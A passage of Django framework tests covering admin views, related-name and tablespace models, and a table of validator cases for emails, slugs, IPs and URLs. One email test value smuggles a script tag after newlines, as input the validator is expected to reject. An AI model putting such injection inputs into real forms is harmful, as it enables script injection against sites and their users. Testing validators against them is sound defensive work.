        cls.w3 = Worker.objects.create(work_at=cls.r1, name='John', surname='Doe')

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_add_view_form_and_formsets_run_validation(self):
        """
        Issue #20522
        Verifying that if the parent form fails validation, the inlines also
        run validation even if validation is contingent on parent form data
        """
        # The form validation should fail because 'some_required_info' is
        # not included on the parent form, and the family_name of the parent
        # does not match that of the child
        post_data = {"family_name": "Test1",
                     "dependentchild_set-TOTAL_FORMS": "1",
                     "dependentchild_set-INITIAL_FORMS": "0",
                     "dependentchild_set-MAX_NUM_FORMS": "1",
                     "dependentchild_set-0-id": "",
                     "dependentchild_set-0-parent": "",
                     "dependentchild_set-0-family_name": "Test2"}
        response = self.client.post(reverse('admin:admin_views_parentwithdependentchildren_add'),
                                    post_data)

        # just verifying the parent form failed validation, as expected --
        # this isn't the regression test
        self.assertIn('some_required_info', response.context['adminform'].form.errors)

        # actual regression test
        for error_set in response.context['inline_admin_formset'].formset.errors:
            self.assertEqual(['Children must share a family name with their parents in this contrived test case'],
                             error_set.get('__all__'))

    def test_change_view_form_and_formsets_run_validation(self):
        """
        Issue #20522
        Verifying that if the parent form fails validation, the inlines also
        run validation even if validation is contingent on parent form data
        """
        pwdc = ParentWithDependentChildren.objects.create(some_required_info=6,
                                                          family_name="Test1")
        # The form validation should fail because 'some_required_info' is
        # not included on the parent form, and the family_name of the parent
        # does not match that of the child
        post_data = {"family_name": "Test2",
                     "dependentchild_set-TOTAL_FORMS": "1",
                     "dependentchild_set-INITIAL_FORMS": "0",
                     "dependentchild_set-MAX_NUM_FORMS": "1",
                     "dependentchild_set-0-id": "",
                     "dependentchild_set-0-parent": str(pwdc.id),
                     "dependentchild_set-0-family_name": "Test1"}
        response = self.client.post(
            reverse('admin:admin_views_parentwithdependentchildren_change', args=(pwdc.id,)), post_data
        )

        # just verifying the parent form failed validation, as expected --
        # this isn't the regression test
        self.assertIn('some_required_info', response.context['adminform'].form.errors)

        # actual regression test
        for error_set in response.context['inline_admin_formset'].formset.errors:
            self.assertEqual(['Children must share a family name with their parents in this contrived test case'],
                             error_set.get('__all__'))

    def test_check(self):
        "Ensure that the view_on_site value is either a boolean or a callable"
        try:
            admin = CityAdmin(City, AdminSite())
            CityAdmin.view_on_site = True
            self.assertEqual(admin.check(), [])
            CityAdmin.view_on_site = False
            self.assertEqual(admin.check(), [])
            CityAdmin.view_on_site = lambda obj: obj.get_absolute_url()
            self.assertEqual(admin.check(), [])
            CityAdmin.view_on_site = []
            self.assertEqual(admin.check(), [
                Error(
                    "The value of 'view_on_site' must be a callable or a boolean value.",
                    obj=CityAdmin,
                    id='admin.E025',
                ),
            ])
        finally:
            # Restore the original values for the benefit of other tests.
            CityAdmin.view_on_site = True

    def test_false(self):
        "Ensure that the 'View on site' button is not displayed if view_on_site is False"
        response = self.client.get(reverse('admin:admin_views_restaurant_change', args=(self.r1.pk,)))
        content_type_pk = ContentType.objects.get_for_model(Restaurant).pk
        self.assertNotContains(response, reverse('admin:view_on_site', args=(content_type_pk, 1)))

    def test_true(self):
        "Ensure that the default behavior is followed if view_on_site is True"
        response = self.client.get(reverse('admin:admin_views_city_change', args=(self.c1.pk,)))
        content_type_pk = ContentType.objects.get_for_model(City).pk
        self.assertContains(response, reverse('admin:view_on_site', args=(content_type_pk, self.c1.pk)))

    def test_callable(self):
        "Ensure that the right link is displayed if view_on_site is a callable"
        response = self.client.get(reverse('admin:admin_views_worker_change', args=(self.w1.pk,)))
        self.assertContains(response, '"/worker/%s/%s/"' % (self.w1.surname, self.w1.name))

    def test_missing_get_absolute_url(self):
        "Ensure None is returned if model doesn't have get_absolute_url"
        model_admin = ModelAdmin(Worker, None)
        self.assertIsNone(model_admin.get_view_on_site_url(Worker()))


@override_settings(ROOT_URLCONF='admin_views.urls')
class InlineAdminViewOnSiteTest(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

        cls.s1 = State.objects.create(name='New York')
        cls.s2 = State.objects.create(name='Illinois')
        cls.s3 = State.objects.create(name='California')
        cls.c1 = City.objects.create(state=cls.s1, name='New York')
        cls.c2 = City.objects.create(state=cls.s2, name='Chicago')
        cls.c3 = City.objects.create(state=cls.s3, name='San Francisco')
        cls.r1 = Restaurant.objects.create(city=cls.c1, name='Italian Pizza')
        cls.r2 = Restaurant.objects.create(city=cls.c1, name='Boulevard')
        cls.r3 = Restaurant.objects.create(city=cls.c2, name='Chinese Dinner')
        cls.r4 = Restaurant.objects.create(city=cls.c2, name='Angels')
        cls.r5 = Restaurant.objects.create(city=cls.c2, name='Take Away')
        cls.r6 = Restaurant.objects.create(city=cls.c3, name='The Unknown Restaurant')
        cls.w1 = Worker.objects.create(work_at=cls.r1, name='Mario', surname='Rossi')
        cls.w2 = Worker.objects.create(work_at=cls.r1, name='Antonio', surname='Bianchi')
        cls.w3 = Worker.objects.create(work_at=cls.r1, name='John', surname='Doe')

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_false(self):
        "Ensure that the 'View on site' button is not displayed if view_on_site is False"
        response = self.client.get(reverse('admin:admin_views_state_change', args=(self.s1.pk,)))
        content_type_pk = ContentType.objects.get_for_model(City).pk
        self.assertNotContains(response, reverse('admin:view_on_site', args=(content_type_pk, self.c1.pk)))

    def test_true(self):
        "Ensure that the 'View on site' button is displayed if view_on_site is True"
        response = self.client.get(reverse('admin:admin_views_city_change', args=(self.c1.pk,)))
        content_type_pk = ContentType.objects.get_for_model(Restaurant).pk
        self.assertContains(response, reverse('admin:view_on_site', args=(content_type_pk, self.r1.pk)))

    def test_callable(self):
        "Ensure that the right link is displayed if view_on_site is a callable"
        response = self.client.get(reverse('admin:admin_views_restaurant_change', args=(self.r1.pk,)))
        self.assertContains(response, '"/worker_inline/%s/%s/"' % (self.w1.surname, self.w1.name))


@override_settings(ROOT_URLCONF='admin_views.urls')
class TestEtagWithAdminView(SimpleTestCase):
    # See https://code.djangoproject.com/ticket/16003

    def test_admin(self):
        with self.settings(USE_ETAGS=False):
            response = self.client.get(reverse('admin:index'))
            self.assertEqual(response.status_code, 302)
            self.assertFalse(response.has_header('ETag'))

        with self.settings(USE_ETAGS=True):
            response = self.client.get(reverse('admin:index'))
            self.assertEqual(response.status_code, 302)
            self.assertTrue(response.has_header('ETag'))


@override_settings(ROOT_URLCONF='admin_views.urls')
class GetFormsetsWithInlinesArgumentTest(TestCase):
    """
    #23934 - When adding a new model instance in the admin, the 'obj' argument
    of get_formsets_with_inlines() should be None. When changing, it should be
    equal to the existing model instance.
    The GetFormsetsArgumentCheckingAdmin ModelAdmin throws an exception
    if obj is not None during add_view or obj is None during change_view.
    """

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_explicitly_provided_pk(self):
        post_data = {'name': '1'}
        response = self.client.post(reverse('admin:admin_views_explicitlyprovidedpk_add'), post_data)
        self.assertEqual(response.status_code, 302)

        post_data = {'name': '2'}
        response = self.client.post(reverse('admin:admin_views_explicitlyprovidedpk_change', args=(1,)), post_data)
        self.assertEqual(response.status_code, 302)

    def test_implicitly_generated_pk(self):
        post_data = {'name': '1'}
        response = self.client.post(reverse('admin:admin_views_implicitlygeneratedpk_add'), post_data)
        self.assertEqual(response.status_code, 302)

        post_data = {'name': '2'}
        response = self.client.post(reverse('admin:admin_views_implicitlygeneratedpk_change', args=(1,)), post_data)
        self.assertEqual(response.status_code, 302)












import warnings

from django.test import TestCase
from django.utils.deprecation import RemovedInDjango20Warning

from .models.default_related_name import Author, Book, Editor


class DefaultRelatedNameTests(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.author = Author.objects.create(first_name='Dave', last_name='Loper')
        cls.editor = Editor.objects.create(name='Test Editions', bestselling_author=cls.author)
        cls.book = Book.objects.create(title='Test Book', editor=cls.editor)
        cls.book.authors.add(cls.author)

    def test_no_default_related_name(self):
        self.assertEqual(list(self.author.editor_set.all()), [self.editor])

    def test_default_related_name(self):
        self.assertEqual(list(self.author.books.all()), [self.book])

    def test_default_related_name_in_queryset_lookup(self):
        self.assertEqual(Author.objects.get(books=self.book), self.author)

    def test_show_deprecated_message_when_model_name_in_queryset_lookup(self):
        msg = "Query lookup 'book' is deprecated in favor of Meta.default_related_name 'books'."
        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('once')
            Author.objects.get(book=self.book)
        self.assertEqual(len(warns), 1)
        warning = warns.pop()
        self.assertEqual(warning.category, RemovedInDjango20Warning)
        self.assertEqual(str(warning.message), msg)

    def test_related_name_overrides_default_related_name(self):
        self.assertEqual(list(self.editor.edited_books.all()), [self.book])

    def test_inheritance(self):
        # model_options is the name of the application for this test.
        self.assertEqual(list(self.book.model_options_bookstores.all()), [])

    def test_inheritance_with_overridden_default_related_name(self):
        self.assertEqual(list(self.book.editor_stores.all()), [])






from __future__ import unicode_literals

from django.apps import apps
from django.conf import settings
from django.db import connection
from django.test import TestCase, skipIfDBFeature, skipUnlessDBFeature

from .models.tablespaces import (
    Article, ArticleRef, Authors, Reviewers, Scientist, ScientistRef,
)


def sql_for_table(model):
    with connection.schema_editor(collect_sql=True) as editor:
        editor.create_model(model)
    return editor.collected_sql[0]


def sql_for_index(model):
    return '\n'.join(connection.schema_editor()._model_indexes_sql(model))


# We can't test the DEFAULT_TABLESPACE and DEFAULT_INDEX_TABLESPACE settings
# because they're evaluated when the model class is defined. As a consequence,
# @override_settings doesn't work, and the tests depend
class TablespacesTests(TestCase):

    def setUp(self):
        # The unmanaged models need to be removed after the test in order to
        # prevent bad interactions with the flush operation in other tests.
        self._old_models = apps.app_configs['model_options'].models.copy()

        for model in Article, Authors, Reviewers, Scientist:
            model._meta.managed = True

    def tearDown(self):
        for model in Article, Authors, Reviewers, Scientist:
            model._meta.managed = False

        apps.app_configs['model_options'].models = self._old_models
        apps.all_models['model_options'] = self._old_models
        apps.clear_cache()

    def assertNumContains(self, haystack, needle, count):
        real_count = haystack.count(needle)
        self.assertEqual(real_count, count, "Found %d instances of '%s', expected %d" % (real_count, needle, count))

    @skipUnlessDBFeature('supports_tablespaces')
    def test_tablespace_for_model(self):
        sql = sql_for_table(Scientist).lower()
        if settings.DEFAULT_INDEX_TABLESPACE:
            # 1 for the table
            self.assertNumContains(sql, 'tbl_tbsp', 1)
            # 1 for the index on the primary key
            self.assertNumContains(sql, settings.DEFAULT_INDEX_TABLESPACE, 1)
        else:
            # 1 for the table + 1 for the index on the primary key
            self.assertNumContains(sql, 'tbl_tbsp', 2)

    @skipIfDBFeature('supports_tablespaces')
    def test_tablespace_ignored_for_model(self):
        # No tablespace-related SQL
        self.assertEqual(sql_for_table(Scientist),
                         sql_for_table(ScientistRef))

    @skipUnlessDBFeature('supports_tablespaces')
    def test_tablespace_for_indexed_field(self):
        sql = sql_for_table(Article).lower()
        if settings.DEFAULT_INDEX_TABLESPACE:
            # 1 for the table
            self.assertNumContains(sql, 'tbl_tbsp', 1)
            # 1 for the primary key + 1 for the index on code
            self.assertNumContains(sql, settings.DEFAULT_INDEX_TABLESPACE, 2)
        else:
            # 1 for the table + 1 for the primary key + 1 for the index on code
            self.assertNumContains(sql, 'tbl_tbsp', 3)

        # 1 for the index on reference
        self.assertNumContains(sql, 'idx_tbsp', 1)

    @skipIfDBFeature('supports_tablespaces')
    def test_tablespace_ignored_for_indexed_field(self):
        # No tablespace-related SQL
        self.assertEqual(sql_for_table(Article),
                         sql_for_table(ArticleRef))

    @skipUnlessDBFeature('supports_tablespaces')
    def test_tablespace_for_many_to_many_field(self):
        sql = sql_for_table(Authors).lower()
        # The join table of the ManyToManyField goes to the model's tablespace,
        # and its indexes too, unless DEFAULT_INDEX_TABLESPACE is set.
        if settings.DEFAULT_INDEX_TABLESPACE:
            # 1 for the table
            self.assertNumContains(sql, 'tbl_tbsp', 1)
            # 1 for the primary key
            self.assertNumContains(sql, settings.DEFAULT_INDEX_TABLESPACE, 1)
        else:
            # 1 for the table + 1 for the index on the primary key
            self.assertNumContains(sql, 'tbl_tbsp', 2)
        self.assertNumContains(sql, 'idx_tbsp', 0)

        sql = sql_for_index(Authors).lower()
        # The ManyToManyField declares no db_tablespace, its indexes go to
        # the model's tablespace, unless DEFAULT_INDEX_TABLESPACE is set.
        if settings.DEFAULT_INDEX_TABLESPACE:
            self.assertNumContains(sql, settings.DEFAULT_INDEX_TABLESPACE, 2)
        else:
            self.assertNumContains(sql, 'tbl_tbsp', 2)
        self.assertNumContains(sql, 'idx_tbsp', 0)

        sql = sql_for_table(Reviewers).lower()
        # The join table of the ManyToManyField goes to the model's tablespace,
        # and its indexes too, unless DEFAULT_INDEX_TABLESPACE is set.
        if settings.DEFAULT_INDEX_TABLESPACE:
            # 1 for the table
            self.assertNumContains(sql, 'tbl_tbsp', 1)
            # 1 for the primary key
            self.assertNumContains(sql, settings.DEFAULT_INDEX_TABLESPACE, 1)
        else:
            # 1 for the table + 1 for the index on the primary key
            self.assertNumContains(sql, 'tbl_tbsp', 2)
        self.assertNumContains(sql, 'idx_tbsp', 0)

        sql = sql_for_index(Reviewers).lower()
        # The ManyToManyField declares db_tablespace, its indexes go there.
        self.assertNumContains(sql, 'tbl_tbsp', 0)
        self.assertNumContains(sql, 'idx_tbsp', 2)






from django.db import models


# Since the test database doesn't have tablespaces, it's impossible for Django
# to create the tables for models where db_tablespace is set. To avoid this
# problem, we mark the models as unmanaged, and temporarily revert them to
# managed during each test. We also set them to use the same tables as the
# "reference" models to avoid errors when other tests run 'migrate'
# (proxy_models_inheritance does).


class ScientistRef(models.Model):
    name = models.CharField(max_length=50)


class ArticleRef(models.Model):
    title = models.CharField(max_length=50, unique=True)
    code = models.CharField(max_length=50, unique=True)
    authors = models.ManyToManyField(ScientistRef, related_name='articles_written_set')
    reviewers = models.ManyToManyField(ScientistRef, related_name='articles_reviewed_set')


class Scientist(models.Model):
    name = models.CharField(max_length=50)

    class Meta:
        db_table = 'model_options_scientistref'
        db_tablespace = 'tbl_tbsp'
        managed = False


class Article(models.Model):
    title = models.CharField(max_length=50, unique=True)
    code = models.CharField(max_length=50, unique=True, db_tablespace='idx_tbsp')
    authors = models.ManyToManyField(Scientist, related_name='articles_written_set')
    reviewers = models.ManyToManyField(Scientist, related_name='articles_reviewed_set', db_tablespace='idx_tbsp')

    class Meta:
        db_table = 'model_options_articleref'
        db_tablespace = 'tbl_tbsp'
        managed = False

# Also set the tables for automatically created models

Authors = Article._meta.get_field('authors').remote_field.through
Authors._meta.db_table = 'model_options_articleref_authors'

Reviewers = Article._meta.get_field('reviewers').remote_field.through
Reviewers._meta.db_table = 'model_options_articleref_reviewers'






from django.db import models


class Author(models.Model):
    first_name = models.CharField(max_length=128)
    last_name = models.CharField(max_length=128)


class Editor(models.Model):
    name = models.CharField(max_length=128)
    bestselling_author = models.ForeignKey(Author, models.CASCADE)


class Book(models.Model):
    title = models.CharField(max_length=128)
    authors = models.ManyToManyField(Author)
    editor = models.ForeignKey(Editor, models.CASCADE, related_name="edited_books")

    class Meta:
        default_related_name = "books"


class Store(models.Model):
    name = models.CharField(max_length=128)
    address = models.CharField(max_length=128)

    class Meta:
        abstract = True
        default_related_name = "%(app_label)s_%(model_name)ss"


class BookStore(Store):
    available_books = models.ManyToManyField(Book)


class EditorStore(Store):
    editor = models.ForeignKey(Editor, models.CASCADE)
    available_books = models.ManyToManyField(Book)

    class Meta:
        default_related_name = "editor_stores"












import unittest

from django.core.exceptions import ValidationError


class TestValidationError(unittest.TestCase):
    def test_messages_concatenates_error_dict_values(self):
        message_dict = {}
        exception = ValidationError(message_dict)
        self.assertEqual(sorted(exception.messages), [])
        message_dict['field1'] = ['E1', 'E2']
        exception = ValidationError(message_dict)
        self.assertEqual(sorted(exception.messages), ['E1', 'E2'])
        message_dict['field2'] = ['E3', 'E4']
        exception = ValidationError(message_dict)
        self.assertEqual(sorted(exception.messages), ['E1', 'E2', 'E3', 'E4'])


















# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import io
import os
import re
import types
from datetime import datetime, timedelta
from unittest import TestCase, skipUnless

from django.core.exceptions import ValidationError
from django.core.files.base import ContentFile
from django.core.validators import (
    BaseValidator, DecimalValidator, EmailValidator, FileExtensionValidator,
    MaxLengthValidator, MaxValueValidator, MinLengthValidator,
    MinValueValidator, RegexValidator, URLValidator, int_list_validator,
    validate_comma_separated_integer_list, validate_email,
    validate_image_file_extension, validate_integer, validate_ipv4_address,
    validate_ipv6_address, validate_ipv46_address, validate_slug,
    validate_unicode_slug,
)
from django.test import SimpleTestCase
from django.test.utils import str_prefix
from django.utils._os import upath

try:
    from PIL import Image  # noqa
except ImportError:
    PILLOW_IS_INSTALLED = False
else:
    PILLOW_IS_INSTALLED = True

NOW = datetime.now()
EXTENDED_SCHEMES = ['http', 'https', 'ftp', 'ftps', 'git', 'file', 'git+ssh']

TEST_DATA = [
    # (validator, value, expected),
    (validate_integer, '42', None),
    (validate_integer, '-42', None),
    (validate_integer, -42, None),

    (validate_integer, -42.5, ValidationError),
    (validate_integer, None, ValidationError),
    (validate_integer, 'a', ValidationError),
    (validate_integer, '\n42', ValidationError),
    (validate_integer, '42\n', ValidationError),

    (validate_email, 'email@here.com', None),
    (validate_email, 'weirder-email@here.and.there.com', None),
    (validate_email, 'email@[127.0.0.1]', None),
    (validate_email, 'email@[2001:dB8::1]', None),
    (validate_email, 'email@[2001:dB8:0:0:0:0:0:1]', None),
    (validate_email, 'email@[::fffF:127.0.0.1]', None),
    (validate_email, 'example@valid-----hyphens.com', None),
    (validate_email, 'example@valid-with-hyphens.com', None),
    (validate_email, 'test@domain.with.idn.tld.उदाहरण.परीक्षा', None),
    (validate_email, 'email@localhost', None),
    (EmailValidator(whitelist=['localdomain']), 'email@localdomain', None),
    (validate_email, '"test@test"@example.com', None),
    (validate_email, 'example@atm.%s' % ('a' * 63), None),
    (validate_email, 'example@%s.atm' % ('a' * 63), None),
    (validate_email, 'example@%s.%s.atm' % ('a' * 63, 'b' * 10), None),

    (validate_email, 'example@atm.%s' % ('a' * 64), ValidationError),
    (validate_email, 'example@%s.atm.%s' % ('b' * 64, 'a' * 63), ValidationError),
    (validate_email, None, ValidationError),
    (validate_email, '', ValidationError),
    (validate_email, 'abc', ValidationError),
    (validate_email, 'abc@', ValidationError),
    (validate_email, 'abc@bar', ValidationError),
    (validate_email, 'a @x.cz', ValidationError),
    (validate_email, 'abc@.com', ValidationError),
    (validate_email, 'something@@somewhere.com', ValidationError),
    (validate_email, 'email@127.0.0.1', ValidationError),
    (validate_email, 'email@[127.0.0.256]', ValidationError),
    (validate_email, 'email@[2001:db8::12345]', ValidationError),
    (validate_email, 'email@[2001:db8:0:0:0:0:1]', ValidationError),
    (validate_email, 'email@[::ffff:127.0.0.256]', ValidationError),
    (validate_email, 'example@invalid-.com', ValidationError),
    (validate_email, 'example@-invalid.com', ValidationError),
    (validate_email, 'example@invalid.com-', ValidationError),
    (validate_email, 'example@inv-.alid-.com', ValidationError),
    (validate_email, 'example@inv-.-alid.com', ValidationError),
    (validate_email, 'test@example.com\n\n<script src="x.js">', ValidationError),
    # Quoted-string format (CR not allowed)
    (validate_email, '"\\\011"@here.com', None),
    (validate_email, '"\\\012"@here.com', ValidationError),
    (validate_email, 'trailingdot@shouldfail.com.', ValidationError),
    # Max length of domain name labels is 63 characters per RFC 1034.
    (validate_email, 'a@%s.us' % ('a' * 63), None),
    (validate_email, 'a@%s.us' % ('a' * 64), ValidationError),
    # Trailing newlines in username or domain not allowed
    (validate_email, 'a@b.com\n', ValidationError),
    (validate_email, 'a\n@b.com', ValidationError),
    (validate_email, '"test@test"\n@example.com', ValidationError),
    (validate_email, 'a@[127.0.0.1]\n', ValidationError),

    (validate_slug, 'slug-ok', None),
    (validate_slug, 'longer-slug-still-ok', None),
    (validate_slug, '--------', None),
    (validate_slug, 'nohyphensoranything', None),
    (validate_slug, 'a', None),
    (validate_slug, '1', None),
    (validate_slug, 'a1', None),

    (validate_slug, '', ValidationError),
    (validate_slug, ' text ', ValidationError),
    (validate_slug, ' ', ValidationError),
    (validate_slug, 'some@mail.com', ValidationError),
    (validate_slug, '你好', ValidationError),
    (validate_slug, '你 好', ValidationError),
    (validate_slug, '\n', ValidationError),
    (validate_slug, 'trailing-newline\n', ValidationError),

    (validate_unicode_slug, 'slug-ok', None),
    (validate_unicode_slug, 'longer-slug-still-ok', None),
    (validate_unicode_slug, '--------', None),
    (validate_unicode_slug, 'nohyphensoranything', None),
    (validate_unicode_slug, 'a', None),
    (validate_unicode_slug, '1', None),
    (validate_unicode_slug, 'a1', None),
    (validate_unicode_slug, '你好', None),

    (validate_unicode_slug, '', ValidationError),
    (validate_unicode_slug, ' text ', ValidationError),
    (validate_unicode_slug, ' ', ValidationError),
    (validate_unicode_slug, 'some@mail.com', ValidationError),
    (validate_unicode_slug, '\n', ValidationError),
    (validate_unicode_slug, '你 好', ValidationError),
    (validate_unicode_slug, 'trailing-newline\n', ValidationError),

    (validate_ipv4_address, '1.1.1.1', None),
    (validate_ipv4_address, '255.0.0.0', None),
    (validate_ipv4_address, '0.0.0.0', None),

    (validate_ipv4_address, '256.1.1.1', ValidationError),
    (validate_ipv4_address, '25.1.1.', ValidationError),
    (validate_ipv4_address, '25,1,1,1', ValidationError),
    (validate_ipv4_address, '25.1 .1.1', ValidationError),
    (validate_ipv4_address, '1.1.1.1\n', ValidationError),

    # validate_ipv6_address uses django.utils.ipv6, which
    # is tested in much greater detail in its own testcase
    (validate_ipv6_address, 'fe80::1', None),
    (validate_ipv6_address, '::1', None),
    (validate_ipv6_address, '1:2:3:4:5:6:7:8', None),

    (validate_ipv6_address, '1:2', ValidationError),
    (validate_ipv6_address, '::zzz', ValidationError),
    (validate_ipv6_address, '12345::', ValidationError),

    (validate_ipv46_address, '1.1.1.1', None),
    (validate_ipv46_address, '255.0.0.0', None),
    (validate_ipv46_address, '0.0.0.0', None),
    (validate_ipv46_address, 'fe80::1', None),
    (validate_ipv46_address, '::1', None),
    (validate_ipv46_address, '1:2:3:4:5:6:7:8', None),

    (validate_ipv46_address, '256.1.1.1', ValidationError),
    (validate_ipv46_address, '25.1.1.', ValidationError),
    (validate_ipv46_address, '25,1,1,1', ValidationError),
    (validate_ipv46_address, '25.1 .1.1', ValidationError),
    (validate_ipv46_address, '1:2', ValidationError),
    (validate_ipv46_address, '::zzz', ValidationError),
    (validate_ipv46_address, '12345::', ValidationError),

    (validate_comma_separated_integer_list, '1', None),
    (validate_comma_separated_integer_list, '12', None),
    (validate_comma_separated_integer_list, '1,2', None),
    (validate_comma_separated_integer_list, '1,2,3', None),
    (validate_comma_separated_integer_list, '10,32', None),

    (validate_comma_separated_integer_list, '', ValidationError),
    (validate_comma_separated_integer_list, 'a', ValidationError),
    (validate_comma_separated_integer_list, 'a,b,c', ValidationError),
    (validate_comma_separated_integer_list, '1, 2, 3', ValidationError),
    (validate_comma_separated_integer_list, ',', ValidationError),
    (validate_comma_separated_integer_list, '1,2,3,', ValidationError),
    (validate_comma_separated_integer_list, '1,2,', ValidationError),
    (validate_comma_separated_integer_list, ',1', ValidationError),
    (validate_comma_separated_integer_list, '1,,2', ValidationError),

    (int_list_validator(sep='.'), '1.2.3', None),
    (int_list_validator(sep='.', allow_negative=True), '1.2.3', None),
    (int_list_validator(allow_negative=True), '-1,-2,3', None),
    (int_list_validator(allow_negative=True), '1,-2,-12', None),

    (int_list_validator(), '-1,2,3', ValidationError),
    (int_list_validator(sep='.'), '1,2,3', ValidationError),
    (int_list_validator(sep='.'), '1.2.3\n', ValidationError),

    (MaxValueValidator(10), 10, None),
    (MaxValueValidator(10), -10, None),
    (MaxValueValidator(10), 0, None),
    (MaxValueValidator(NOW), NOW, None),
    (MaxValueValidator(NOW), NOW - timedelta(days=1), None),

    (MaxValueValidator(0), 1, ValidationError),
    (MaxValueValidator(NOW), NOW + timedelta(days=1), ValidationError),

    (MinValueValidator(-10), -10, None),
    (MinValueValidator(-10), 10, None),
    (MinValueValidator(-10), 0, None),
    (MinValueValidator(NOW), NOW, None),
    (MinValueValidator(NOW), NOW + timedelta(days=1), None),

    (MinValueValidator(0), -1, ValidationError),
    (MinValueValidator(NOW), NOW - timedelta(days=1), ValidationError),

    (MaxLengthValidator(10), '', None),
    (MaxLengthValidator(10), 10 * 'x', None),

    (MaxLengthValidator(10), 15 * 'x', ValidationError),

    (MinLengthValidator(10), 15 * 'x', None),
    (MinLengthValidator(10), 10 * 'x', None),

    (MinLengthValidator(10), '', ValidationError),

    (URLValidator(EXTENDED_SCHEMES), 'file://localhost/path', None),
    (URLValidator(EXTENDED_SCHEMES), 'git://example.com/', None),
    (URLValidator(EXTENDED_SCHEMES), 'git+ssh://git@github.com/example/hg-git.git', None),

    (URLValidator(EXTENDED_SCHEMES), 'git://-invalid.com', ValidationError),
    # Trailing newlines not accepted
    (URLValidator(), 'http://www.djangoproject.com/\n', ValidationError),
    (URLValidator(), 'http://[::ffff:192.9.5.5]\n', ValidationError),
    # Trailing junk does not take forever to reject
    (URLValidator(), 'http://www.asdasdasdasdsadfm.com.br ', ValidationError),
    (URLValidator(), 'http://www.asdasdasdasdsadfm.com.br z', ValidationError),

    (BaseValidator(True), True, None),
    (BaseValidator(True), False, ValidationError),

    (RegexValidator(), '', None),
    (RegexValidator(), 'x1x2', None),
    (RegexValidator('[0-9]+'), 'xxxxxx', ValidationError),
    (RegexValidator('[0-9]+'), '1234', None),
    (RegexValidator(re.compile('[0-9]+')), '1234', None),
    (RegexValidator('.*'), '', None),
    (RegexValidator(re.compile('.*')), '', None),
    (RegexValidator('.*'), 'xxxxx', None),

    (RegexValidator('x'), 'y', ValidationError),
    (RegexValidator(re.compile('x')), 'y', ValidationError),
    (RegexValidator('x', inverse_match=True), 'y', None),
    (RegexValidator(re.compile('x'), inverse_match=True), 'y', None),
    (RegexValidator('x', inverse_match=True), 'x', ValidationError),
    (RegexValidator(re.compile('x'), inverse_match=True), 'x', ValidationError),

    (RegexValidator('x', flags=re.IGNORECASE), 'y', ValidationError),
    (RegexValidator('a'), 'A', ValidationError),
    (RegexValidator('a', flags=re.IGNORECASE), 'A', None),

    (FileExtensionValidator(['txt']), ContentFile('contents', name='fileWithUnsupportedExt.jpg'), ValidationError),
    (FileExtensionValidator(['txt']), ContentFile('contents', name='fileWithNoExtenstion'), ValidationError),
    (FileExtensionValidator([]), ContentFile('contents', name='file.txt'), ValidationError),
    (FileExtensionValidator(['txt']), ContentFile('contents', name='file.txt'), None),
    (FileExtensionValidator(), ContentFile('contents', name='file.jpg'), None),

    (validate_image_file_extension, ContentFile('contents', name='file.jpg'), None),
    (validate_image_file_extension, ContentFile('contents', name='file.png'), None),
    (validate_image_file_extension, ContentFile('contents', name='file.txt'), ValidationError),
    (validate_image_file_extension, ContentFile('contents', name='file'), ValidationError),
]


def create_path(filename):
    return os.path.abspath(os.path.join(os.path.dirname(upath(__file__)), filename))

# Add valid and invalid URL tests.
# This only tests the validator without extended schemes.
with io.open(create_path('valid_urls.txt'), encoding='utf8') as f:
    for url in f:
        TEST_DATA.append((URLValidator(), url.strip(), None))
with io.open(create_path('invalid_urls.txt'), encoding='utf8') as f:
    for url in f:
        TEST_DATA.append((URLValidator(), url.strip(), ValidationError))


def create_simple_test_method(validator, expected, value, num):
    if expected is not None and issubclass(expected, Exception):
        test_mask = 'test_%s_raises_error_%d'

        def test_func(self):
            # assertRaises not used, so as to be able to produce an error message
            # containing the tested value
            try:
                validator(value)
            except expected:
                pass
            else:
                self.fail("%s not raised when validating '%s'" % (
                    expected.__name__, value))
    else:
        test_mask = 'test_%s_%d'

        def test_func(self):
            try:
                self.assertEqual(expected, validator(value))
            except ValidationError as e:
                self.fail("Validation of '%s' failed. Error message was: %s" % (
                    value, str(e)))
    if isinstance(validator, types.FunctionType):
        val_name = validator.__name__
    else:
        val_name = validator.__class__.__name__
    test_name = test_mask % (val_name, num)
    if validator is validate_image_file_extension:
        SKIP_MSG = "Pillow is required to test validate_image_file_extension"
        test_func = skipUnless(PILLOW_IS_INSTALLED, SKIP_MSG)(test_func)
    return test_name, test_func

# Dynamically assemble a test class with the contents of TEST_DATA


class TestSimpleValidators(SimpleTestCase):
    def test_single_message(self):
        v = ValidationError('Not Valid')
        self.assertEqual(str(v), str_prefix("[%(_)s'Not Valid']"))
        self.assertEqual(repr(v), str_prefix("ValidationError([%(_)s'Not Valid'])"))

    def test_message_list(self):
        v = ValidationError(['First Problem', 'Second Problem'])
        self.assertEqual(str(v), str_prefix("[%(_)s'First Problem', %(_)s'Second Problem']"))
        self.assertEqual(repr(v), str_prefix("ValidationError([%(_)s'First Problem', %(_)s'Second Problem'])"))

    def test_message_dict(self):
        v = ValidationError({'first': ['First Problem']})
        self.assertEqual(str(v), str_prefix("{%(_)s'first': [%(_)s'First Problem']}"))
        self.assertEqual(repr(v), str_prefix("ValidationError({%(_)s'first': [%(_)s'First Problem']})"))

    def test_regex_validator_flags(self):
        with self.assertRaises(TypeError):
            RegexValidator(re.compile('a'), flags=re.IGNORECASE)

    def test_max_length_validator_message(self):
        v = MaxLengthValidator(16, message='"%(value)s" has more than %(limit_value)d characters.')
        with self.assertRaisesMessage(ValidationError, '"djangoproject.com" has more than 16 characters.'):
            v('djangoproject.com')

test_counter = 0
for validator, value, expected in TEST_DATA:
    name, method = create_simple_test_method(validator, expected, value, test_counter)
    setattr(TestSimpleValidators, name, method)
    test_counter += 1


class TestValidatorEquality(TestCase):
    """
    Tests that validators have valid equality operators (#21638)
    """

    def test_regex_equality(self):
        self.assertEqual(
            RegexValidator(r'^(?:[a-z0-9\.\-]*)://'),
